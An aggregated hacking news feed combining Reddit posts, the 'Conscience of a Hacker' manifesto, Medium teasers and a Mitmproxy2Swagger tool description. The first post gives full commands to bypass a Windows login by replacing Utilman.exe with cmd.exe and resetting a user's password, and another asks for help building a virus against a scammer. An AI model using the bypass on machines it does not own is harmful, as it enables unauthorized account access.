hacking: security in practice
Tutorial For Bypassing Windows Login Passwords.

You Will Need A USB Drive With A Linux ISO Image Flashed Into It.(I Recomend grml64-small)

Boot Into Your Flash Drive And Type These Commands

fdisk -l

mount -t ntfs /dev/(windows drive) /mnt

cd /mnt/Windows/System32

cp cmd.exe Utilman.exe

reboot

Click On The Accesibility Button And Type This Command When The CMD Window Lauches

net user (User) *

submitted by /u/riggasTor
[link] [comments]

hacking: security in practice
Scam a scammer

Hello, i was chatting with an Instagram scammer that already has opened an grabify Link and i think he also would open other links so does anybody maybe knows good sites/programs to maybe make a kind of virus to scam the scammer ?

submitted by /u/Duduxy187
[link] [comments]

hacking: security in practice
The Conscience of a Hacker by The Mentor

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.

But did you, in your three-piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me... Damn underachiever. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.

And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day-to-day incompetencies is sought... a board is found. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon-fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre-chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us will- ing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

submitted by /u/Cycode
[link] [comments]

hacking: security in practice
Did you know Linux Aliases can phish you? Check out my latest video on Hak5 to learn how.

https://external-preview.redd.it/sL47JrMSVvIt18RSuvvOIqO68lZ0qnB2dq_G49amITU.jpg?width=320&crop=smart&auto=webp&s=adc337070986d8d6199b158639096657ff1b1752 submitted by /u/AlexLynd
[link] [comments]

P3 Bug in Just 2 Minute

Hey Hello, Security guys & Hacker Thank you for your support.Continue reading on Medium »
Read more...

Mitmproxy2Swagger - Automagically Reverse-Engineer REST APIs Via Capturing Traffic
http://www.kitploit.com/2022/05/mitmproxy2swagger-automagically-reverse.html

A tool for automatically converting mitmproxy (https://mitmproxy.org/) captures to OpenAPI 3.0 (https://swagger.io/specification/) specifications. This means that you can automatically reverse-engineer REST APIs by just running the apps and capturing the traffic.
Installation First you will need python3 and pip3. $ pip install mitmproxy2swagger
# ... or ...
$ pip3 install mitmproxy2swagger Then clone the repo and run mitmproxy2swagger as per examples below. Usage Mitmproxy To create a specification by inspecting HTTP traffic (https://www.kitploit.com/search/label/Traffic) you will need to: Capture the traffic by using the mitmproxy (https://www.kitploit.com/search/label/MITMproxy) tool. I personally recommend using mitmweb, which is a web interface built-in to mitmproxy. $ mitmweb
Web server listening at http://127.0.0.1:8081/
Proxy server listening at http://*:9999
... IMPORTANT To configure your client (https://www.kitploit.com/search/label/Client) to use the proxy exposed by mitm proxy, please consult the mitmproxy documentation (https://docs.mitmproxy.org/stable/) for more information. Save the traffic to a flow file. In mitmweb you can do this by using the "File" menu and selecting "Save":

Run the first pass of mitmproxy2swagger: $ mitmproxy2swagger -i -o -p Please note that you can use an existing schema, in which case the existing schema will be extended with the new data. You can also run it a few times with different flow captures, the captured data will be safely merged. is the base url of the API you wish to reverse-engineer. You will need to obtain it by observing the requests being made in mitmproxy. For example if an app has made requests like these: https://api.example.com/v1/login
https://api.example.com/v1/users/2
https://api.example.com/v1/users/2/profile
The likely prefix is https://api.example.com/v1. Running the first pass should have created a section in the schema file like this: x-path-templates:
# Remove the ignore: prefix to generate an endpoint with its URL
# Lines that are closer to the top take precedence, the matching is greedy
- ignore:/addresses
- ignore:/basket
- ignore:/basket/add
- ignore:/basket/checkouts
- ignore:/basket/coupons/attach/{id}
- ignore:/basket/coupons/attach/104754 You should edit the schema file with a text editor and remove the ignore: prefix from the paths you wish to be generated. You can also adjust the parameters appearing in the paths. Run the second pass of mitmproxy2swagger: $ mitmproxy2swagger -i -o -p [--examples] Run the command a second time (with the same schema file). It will pick up the edited lines and generate endpoint descriptions. Please note that mitmproxy2swagger will not overwrite existing endpoint descriptions, if you want to overwrite them, you can delete them before running the second pass. Passing --examples will add example data to requests and responses. Take caution when using this option, as it may add sensitive data (tokens, passwords, personal information (https://www.kitploit.com/search/label/Personal%20Information) etc.) to the schema. HAR Capture and export the traffic from the browser DevTools. In the browser DevTools, go to the Network tab and click the "Export HAR" button.

Continue the same way you would do with the mitmproxy dump. mitmproxy2swagger will automatically detect the HAR file and process it. Example output See the examples (https://github.com/alufers/mitmproxy2swagger/blob/master/example_outputs). You will find a generated schema there and an html file with the generated documentation (via redoc-cli (https://www.npmjs.com/package/redoc-cli)). See the generated html file here (https://raw.githack.com/alufers/mitmproxy2swagger/master/example_outputs/lisek-static.html).

Download Mitmproxy2Swagger (https://github.com/alufers/mitmproxy2swagger)

Hacking on Medium
O formato PE para noobs [1/2]

https://cdn-images-1.medium.com/max/600/1*yhh2ANInrKOlJAQLLWyIng.png
Acho importante fazer um pequeno disclaimer aqui, esse artigo não cobrirá tudo sobre o formato PE, na verdade, esse artigo não cobrirá nem…

Continue reading on Medium »

Hacking on Medium
Hack The Box — Paper Walkthrough

https://cdn-images-1.medium.com/max/683/1*sIXQri2xDzw-Wx8o1c78eA.png
This is one of the easy Machines from Hack The Box and before we deep-dive into the actual penetration testing, I want to outline that…

Continue reading on Medium »

Hacking on Medium
P3 Bug in Just 2 Minute

https://cdn-images-1.medium.com/max/600/1*yWQ0-uoQU1lncGyGSOhT_g.gif
Hey Hello, Security guys & Hacker Thank you for your support.

Continue reading on Medium »

KitPloit - PenTest Tools!
Mitmproxy2Swagger - Automagically Reverse-Engineer REST APIs Via Capturing Traffic

https://blogger.googleusercontent.com/img/a/AVvXsEiCiElXWk9v5gX9fIOyvNzcdq9SQ8Oo1JooPYYmaPupJ1oHoC0VGFTCMnXGyiqecdCGsoDFp6EHBlj7lnGb9l9bzRyJlbEnkXv8pX1JizzB97NQoCJlNxEL_4buWBG8viUncMVnXh1ZGkqEirRYo8jozlShyEtkw-v8eIAA9vgNxWcm_b6o_nqXZ1S-=s16000 A tool for automatically converting mitmproxy captures to OpenAPI 3.0 specifications. This means that you can automatically reverse-engineer REST APIs by just running the apps and capturing the traffic. InstallationFirst you will need python3 and pip3. $ pip install mitmproxy2swagger
# ... or ...
$ pip3 install mitmproxy2swaggerThen clone the repo and run mitmproxy2swaggeras per examples below. UsageMitmproxyTo create a specification by inspecting HTTP traffic you will need to:

1.
Capture the traffic by using the mitmproxy tool. I personally recommend using mitmweb, which is a web interface built-in to mitmproxy. $ mitmweb
Web server listening at http://127.0.0.1:8081/
Proxy server listening at http://*:9999
...IMPORTANT

To configure your client to use the proxy exposed by mitm proxy, please consult the mitmproxy documentation for more information.

2.
Save the traffic to a flow file.

In mitmweb you can do this by using the "File" menu and selecting "Save": https://blogger.googleusercontent.com/img/a/AVvXsEiCiElXWk9v5gX9fIOyvNzcdq9SQ8Oo1JooPYYmaPupJ1oHoC0VGFTCMnXGyiqecdCGsoDFp6EHBlj7lnGb9l9bzRyJlbEnkXv8pX1JizzB97NQoCJlNxEL_4buWBG8viUncMVnXh1ZGkqEirRYo8jozlShyEtkw-v8eIAA9vgNxWcm_b6o_nqXZ1S-=s16000 3.
Run the first pass of mitmproxy2swagger: $ mitmproxy2swagger -i <path_to_mitmptoxy_flow-o <path_to_output_schema-p <api_prefixPlease note that you can use an existing schema, in which case the existing schema will be extended with the new data. You can also run it a few times with different flow captures, the captured data will be safely merged. <api_prefixis the base url of the API you wish to reverse-engineer. You will need to obtain it by observing the requests being made in mitmproxy.

For example if an app has made requests like these: https://api.example.com/v1/login
https://api.example.com/v1/users/2
https://api.example.com/v1/users/2/profile The likely prefix is https://api.example.com/v1.

4.
Running the first pass should have created a section in the schema file like this: x-path-templates:
# Remove the ignore: prefix to generate an endpoint with its URL
# Lines that are closer to the top take precedence, the matching is greedy
- ignore:/addresses
- ignore:/basket
- ignore:/basket/add
- ignore:/basket/checkouts
- ignore:/basket/coupons/attach/{id}
- ignore:/basket/coupons/attach/104754You should edit the schema file with a text editor and remove the ignore:prefix from the paths you wish to be generated. You can also adjust the parameters appearing in the paths.

5.
Run the second pass of mitmproxy2swagger: $ mitmproxy2swagger -i <path_to_mitmptoxy_flow-o <path_to_output_schema-p <api_prefix[--examples]Run the command a second time (with the same schema file). It will pick up the edited lines and generate endpoint descriptions.

Please note that mitmproxy2swagger will not overwrite existing endpoint descriptions, if you want to overwrite them, you can delete them before running the second pass.

Passing --exampleswill add example data to requests and responses. Take caution when using this option, as it may add sensitive data (tokens, passwords, personal information etc.) to the schema. HAR1.
Capture and export the traffic from the browser DevTools.

In the browser DevTools, go to the Network tab and click the "Export HAR" button. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvX[...]

sEgUUkPTXqpSOvwBSIZuucSo4UBKNjpnHjyI5QFbodrVmqXfnVcVs3Bry806AVTsal0ckRLN9FK3DfxHceYeQRNX3ImhSqtOabOxnLGMd_Xntxa-n7JMCOR9HajFJMjES8RiKaeoC2Z-xKrSBGbty4xIeRhV7csDZVHg4F_gNUeqFcnfobyFsdm0U_Y-/w640-h96/mitmproxy2swagger.png 2.
Continue the same way you would do with the mitmproxy dump. mitmproxy2swaggerwill automatically detect the HAR file and process it. Example outputSee the examples. You will find a generated schema there and an html file with the generated documentation (via redoc-cli).

See the generated html file here. Download Mitmproxy2Swagger